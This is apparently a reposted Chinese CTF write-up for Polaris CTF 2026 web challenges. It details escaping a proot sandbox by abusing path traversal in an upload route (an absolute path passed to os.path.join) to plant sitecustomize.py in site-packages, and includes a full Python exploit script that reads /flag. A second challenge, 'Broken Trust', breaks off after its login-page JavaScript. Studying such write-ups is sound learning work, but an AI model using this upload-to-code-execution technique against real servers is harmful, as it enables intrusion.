PolarisCTF2026--WebWriteUp"

admin 2026-10-15 13:17:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

Polaris CTF 2026--Web WriteUp

原创

星盟安全团队
星盟安全团队

星盟安全团队

2026年10月11日 12:21
湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

AutoPypy

题目给了源码,审计一下 server.py。有两个路由:upload 和 run。upload 给了一个上传到 upload 文件夹的功能点,run 是一个通过 launcher.py 在沙箱内执行 Python 代码的功能,launcher 中的命令是通过 proot 执行上传的 Python 文件。

0x01 /upload 目录存在目录穿越漏洞

首先看 upload 路由,upload 路由通过过滤 .. 防止了通过 ../ 导致的目录穿越,然后使用 os.path.join 对路径进行拼接。

os.path.join(\"/app/upload\", \"/tmp/success\")

的返回结果会变成 /tmp/success。也就是说,upload 路由存在目录穿越漏洞。

0x02 sitecustomize.py 的妙用

在 Python 解释器的初始化过程中,Python 会尝试导入一个名为 sitecustomize 的模块,这个模块存放在 site-package 目录下。

也就是说,在 Python 解释器启动时,如果 site-package 目录下存在 sitecustomize.py 文件,Python 解释器会预先执行 sitecustomize.py 中的代码。

0x03 server.py 中调用 proot 隔离环境的方法

在题目中,沙箱使用的 proot 项目,proot 通过 ptrace 劫持系统调用,修改系统调用参数中的路径,使得通过 proot 运行的程序被限制在指定的 jail 目录中。

假设 proot 是坚固的,那么题目是否就无解了?

我们回头看 server.py 中调用 proot 的方法,其实是通过调用 subprocess.run 启动了一个子进程,使用靶机的 Python 执行了 launcher.py,再由 launcher.py 在沙箱中执行上传的 Python 文件。到这里就能发现,执行 launcher.py 的过程是发生在沙箱外的,我们就可以从中作梗。

结合之前的目录穿越漏洞,是否就可以通过上传 sitecustomize.py 到靶机 Python 环境的 site-package 目录下的方式,让沙箱外的 Python 执行我们上传的代码,从而实现沙箱逃逸呢?

抓 HTTP 的返回包可以确定 Python 的版本是 3.10。

于是我们就能确定 site-package 目录的位置为:

/usr/local/lib/python3.10/site-packages

0x04 EXP

import requestsimport json
def poc1(url):    headers = {        \"Content-Length\": \"139\",        \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundarywysbW5PXayhcrNyQ\",    }    files = {        \"file\": (            \"/usr/local/lib/python3.10/site-packages/sitecustomize.py\",            \"\"\"import osflag = os.popen(\"cat /flag\").read()print(flag)\"\"\",            \"image/png\",        )    }    res = requests.post(url=url, headers=headers, files=files, verify=False)    return res.text
def poc2(url):    headers = {        \"Content-Length\": \"139\",        \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundarywysbW5PXayhcrNyQ\",    }    files = {\"file\": (\"1.py\", \"print('1')\", \"image/png\")}    res = requests.post(url=url, headers=headers, files=files, verify=False)    return res.text
def pocRun(url):    headers = {        \"Content-Length\": \"183\",        \"Content-Type\": \"application/json\",    }    res = requests.post(        url=url,        headers=headers,        data=json.dumps({\"filename\": \"1.py\"}),        verify=False,    )    return res.text
if __name__ == '__main__':    url = input(\"Input the url\")    upload = f\"http://{url}/upload\"    run = f\"http://{url}/run\"    poc1(upload)    poc2(upload)    print(pocRun(run))

Broken Trust

首页是一个用user id的登录页面

6193eb4443e14ea9b98ab0db72310b06

<script>    async function refreshProfile() {        const uid = \"6193eb4443e14ea9b98ab0db72310b06\"; // 现在是字符串        const msg = document.getElementById('msg');        msg.innerText = \"Syncing with API...\";
        try {            const response = await fetch('/api/profile', {                method: 'POST',                headers: { 'Content-Type': 'application/json' },                body: JSON.stringify({ uid: uid }) // 发送字符串            });            const data = await response.json();            if(data.username) {                msg.innerText = \"Session synced. Current user: \" + data.username;            } else {                msg.innerText = \"Sync failed: \" + (data.error || \"Unknown error\");            }        } catch (e) {            msg.innerText = \"Error connecting to API.\";        }    }</script>